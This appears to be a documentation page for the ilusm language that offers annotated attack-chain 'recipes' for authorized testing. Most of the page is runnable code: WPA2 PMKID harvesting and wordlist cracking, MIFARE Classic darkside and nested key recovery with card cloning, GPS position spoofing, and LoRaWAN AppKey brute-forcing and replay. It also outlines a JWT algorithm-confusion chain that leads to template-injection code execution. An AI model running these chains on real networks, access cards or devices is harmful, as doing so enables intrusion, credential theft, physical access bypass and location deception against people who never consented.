Two tracks: learning examples (small runnable programs, domain snippets, SVG showcases) mirrored from the language repo, and security recipes below-annotated attack chains for authorized testing only. Steps marked ★ native need a local install and hardware where noted.
Authorization required (security section below). Attack-chain recipes are for authorized security testing only - on systems you own or have explicit written permission to test. Unauthorized use is illegal. These scripts are educational; ilusm contributors bear no responsibility for misuse.
Security recipes
Jump to a chain or scroll for full annotated scripts.
Why ilusm makes this easy: The wf module wraps WiFi 802.11 operations including scanning, PMKID harvest, and cracking. crypb + cryhm give you the PMKID derivation. trl handles list operations cleanly.
Passive scan - collect beacons, record BSSID/SSID/channel for each AP.
PMKID harvest - send a single association request to each AP; the first EAPOL frame contains the PMKID. No client needed.
Optional deauth - if you want a full 4-way handshake instead, deauth a connected client and capture the re-association.
Offline crack - for each candidate password, derive PMK → PMKID and compare against the captured value.
# ── Stage 1: passive scan ──────────────────────────────────────usewfuseobsusetrlusefsusecryusetxtusetim# Put wireless interface into monitor mode first:# ip link set wlan0 down# iw dev wlan0 set type monitor# ip link set wlan0 upscan_aps(iface, secs) =
obs.info("Scanning " + iface + " for " + str(secs) + " seconds")
h = wfiop(iface)
wfimo(h)
aps = wfisc(h, secs)
wficl(h)
# Filter to WPA2 targets only
trl.fil(aps, \(ap) ofld(ap, "crypto") == "WPA2")
aps = scan_aps("wlan0", 15)
obs.info("Found " + str(len(aps)) + " WPA2 APs")
# ── Stage 2: PMKID harvest ─────────────────────────────────────# Send one association request per AP; grab the PMKID from EAPOL msg 1.# PMKID = HMAC-SHA1(PMK, "PMK Name" || AP_MAC || STA_MAC)[0:16]harvest_pmkid(iface, ap) =
bssid = ofld(ap, "bssid")
obs.info("Harvesting PMKID from " + bssid)
h = wfiop(iface)
wfimo(h)
result = wfipm(h, bssid, 10)
wficl(h)
result
pmkids = trl.fil(
trl.map(aps, \(ap) harvest_pmkid("wlan0", ap)),
\(r) r != nil
)
obs.info("Harvested " + str(len(pmkids)) + " PMKIDs")
# ── Stage 3: optional deauth (forces full handshake) ───────────# Only needed if you want the 4-way handshake instead of PMKID.# wfise3(h, bssid, client_mac, 3) # deauth with reason 3# cap = wfica(h, bssid, 30) # capture handshake# ── Stage 4: offline PMKID crack ───────────────────────────────# For each candidate password: PMK = PBKDF2(pw, ssid, 4096, 32)# Then: PMKID = HMAC-SHA1(PMK, "PMK Name" || ap_mac || sta_mac)[0:16]crack_pmkid(target, ssid, wordlist_path) =
data = fs.rd(wordlist_path)
words = txt.spl(data, "\n")
obs.info("Testing " + str(len(words)) + " passwords against " + ofld(target, "ap_mac"))
found = nil
i = 0
whl i < len(words) and found == nil
pw = words[i]
pmk = crypb(pw, ssid, 4096, 32)
# PMKID derivation per IEEE 802.11i
data = "PMK Name" + ofld(target, "ap_mac") + ofld(target, "sta_mac")
pmkid = cry.hmc(pmk, data)
# Compare first 16 bytes (32 hex chars)
if txt.sub(pmkid, 0, 32) == ofld(target, "pmkid"):
found = pw
i = i + 1
found
# Run against each harvested PMKID
trl.eac(pmkids, \(target)
ap = trl.fnd(aps, \(a) ofld(a, "bssid") == ofld(target, "ap_mac"))
ssid = if ap != nil: ofld(ap, "ssid") | "unknown"
pw = crack_pmkid(target, ssid, "rockyou.txt")
if pw != nil:
obs.warn("CRACKED: " + ssid + " -> " + pw)
| obs.info("Not in wordlist: " + ssid)
)
Why ilusm makes this easy:nfc wraps libnfc and provides a clean API over the raw APDU layer. The MIFARE CRYPTO1 key recovery is a known algorithm - cry gives you the XOR and bit-manipulation primitives. The whole attack fits in ~60 lines.
Read the UID (always possible, even on locked cards).
Try default keys (0xFFFFFFFFFFFF, 0x000000000000) - works on ~40% of deployed cards.
Run the darkside attack - exploit the CRYPTO1 PRNG weakness to recover the first sector key without knowing any key.
Use nested authentication to recover all remaining sector keys from the first known key.
Dump all 64 blocks and write to a blank MIFARE Classic card.
# ── Step 1: read UID ───────────────────────────────────────────usenfcusecryuseencuseobsusefsusetrlusejsn
dev = nfcop("/dev/ttyUSB0")
card = nfcpo(dev, 5000)
uid = nfcui(dev)
typ = nfcty(dev)
obs.info("UID: " + enc.hex(uid) + " type: " + typ)
# ── Step 2: try default keys ───────────────────────────────────# Use built-in crack function that tries common keys
result = nfccr(dev, 0)
if ofld(result, "found"):
s0_key = ofld(result, "key")
obs.info("sector 0 key found via crack")
|
s0_key = nil
# ── Step 3: darkside attack (if crack fails) ────────────────────# Exploits CRYPTO1 PRNG - sends malformed auth to leak keystream bits.
if s0_key == nil:
obs.info("running darkside attack on sector 0...")
s0_key = cndar(dev, 0)
obs.warn("darkside recovered key: " + s0_key)
# ── Step 4: nested authentication - recover all sector keys ────# With one known key, nested auth leaks the PRNG state for other sectors.recover_all_keys(dev, known_sector, known_key) =
keys = {}
keys[known_sector] = known_key
i = 0
whl i < 16# MIFARE Classic 1K has 16 sectors
if keys[i] == nil:
k = nfcda(uid, i, known_key)
if k != nil:
keys[i] = k
obs.info("sector " + str(i) + " key recovered")
i = i + 1
keys
all_keys = recover_all_keys(dev, 0, s0_key)
# ── Step 5: dump all blocks and clone ──────────────────────────# Use built-in dump function
dump = nfcdu(dev)
fs.wr("card-dump.bin", jsn.enc(dump))
obs.info("dumped card to card-dump.bin")
# Write to blank card (place blank card on reader)# nfccl1(dev, "new_card_target")
Why ilusm makes this easy:gps provides spoofing init, position setting, and start/stop control via host syscalls. You describe a route as a list of coordinates and ilusm handles the NMEA generation and timing.
Define the spoofed route - a list of {lat, lon, alt, speed} waypoints.
Initialize GPS spoofing handle via host syscall.
Walk the route, setting position and transmitting at 1 Hz.
Stop spoofing and verify the target device reports the spoofed location.
# GPS spoofing - requires host with GPS spoofing hardware support# Legal only on your own devices in a shielded environment# or with explicit authorization from the target organizationusegpsuseobsusetrlusetim# Define the spoofed route (e.g. fake a device moving through a building)
route = [
{lat: 37.7749, lon: -122.4194, alt: 10.0, speed: 0.0}, # start
{lat: 37.7750, lon: -122.4190, alt: 10.0, speed: 1.2}, # walking
{lat: 37.7752, lon: -122.4185, alt: 10.0, speed: 1.4},
{lat: 37.7755, lon: -122.4180, alt: 10.0, speed: 0.0} # stop
]
# Initialize GPS spoofing handle (host syscall)
h = gpspo()
obs.info("GPS spoof handle initialized")
# Walk the route, transmitting one fix per second
trl.eac(route, \(fix)
# Set the spoofed position
gpspo1(h, fix.lat, fix.lon, fix.alt)
# Generate fake NMEA GGA sentence for logging/verification
nmea = gpsfa(fix.lat, fix.lon, fix.alt, 8)
obs.info($"spoofed: {fix.lat},{fix.lon}")
# Wait 1 second between fixes
tim.slp(1)
)
# Stop spoofing
gpsst1(h)
obs.info("spoof complete")
# Detection note: modern receivers check for signal strength anomalies,# sudden position jumps, and cross-check with cell/WiFi positioning.# Countermeasure: use multi-constellation receivers (GPS + GLONASS + Galileo).
JWT key confusion + RCE via template injection
Webjwt · net · json · enc · trl · log · cry
Why ilusm makes this easy:jwt exposes the raw header/payload manipulation needed for algorithm confusion. net handles the HTTP chain. The attack is a multi-step chain - ilusm's pipe-friendly style lets you compose each step as a function and chain them cleanly.
Fetch the server's JWKS endpoint to get the RS256 public key.
Forge a JWT signed with HS256 using the public key as the HMAC secret (RS256→HS256 confusion).
Use the forged token to access an admin endpoint.
Identify a template engine in the admin panel (e.g. Jinja2, Pebble).
Why ilusm makes this easy: The lora module provides gateway simulation (start/stop/receive/send) and packet decoding. cry handles MIC verification and key derivation. trl manages list operations for filtering and processing packets.
Start LoRaWAN gateway on target frequency with spreading factor.
Receive and decode LoRaWAN packets (join requests, data up/down).
Verify MIC with network key to validate packets.
Optional: brute-force AppKey from captured join request with known plaintext.
Optional: replay attack by modifying frame counter.
# ── Stage 1: Start gateway ──────────────────────────────────────uselorauseobsusetrlusecryusetxt# Start gateway on EU868 frequency (868.1 MHz) with SF7
h = lorag(868.1, 7, 125)
obs.info("Gateway started")
# ── Stage 2: Receive and decode packets ───────────────────────# Receive packets with 5 second timeout
pkt = lorag2(h, 5000)
if pkt != nil:
decoded = lorad(pkt)
obs.info($"Packet received: {ofld(decoded, \"mtype_str\")} mhdr={ofld(decoded, \"mhdr\")}")
|
obs.info("No packet received")
# ── Stage 3: MIC verification ─────────────────────────────────
nwk_key = "00112233445566778899aabbccddeeff"if pkt != nil:
valid = lorav(pkt, nwk_key)
if valid:
obs.info("MIC valid - packet authenticated")
|
obs.warn("MIC invalid - packet may be tampered")
# ── Stage 4: Join request brute-force (if captured) ─────────────# Requires known plaintext from captured join requestbrute_appkey(deveui, appeui, devnonce, known_plaintext, wordlist) =
wl = txt.spl(fs.rd(wordlist), "\n")
i = 0whl i < len(wl)
key = wl[i]
jr = loraf(deveui, appeui, key, devnonce)
if txt.idx(jr, known_plaintext) >= 0
{found: tru, appkey: key}
i = i + 1
{found: fls}
# ── Stage 5: Replay attack (modify frame counter) ──────────────replay_attack(captured_pkt, new_fcnt) =
loraf2(captured_pkt, new_fcnt)
# ── Stage 6: Spreading factor scan ───────────────────────────────scan_sf(h, freq) =
sfs = [7, 8, 9, 10, 11, 12]
found = []
i = 0whl i < len(sfs)
r = lorag2(h, 2000)
if r != nil
sf = ofld(r, "sf")
if !trl.has(found, sf):
found = trl.cat(found, [sf])
i = i + 1
found
# ── Stage 7: Stop gateway ───────────────────────────────────────
lorag1(h)
obs.info("Gateway stopped")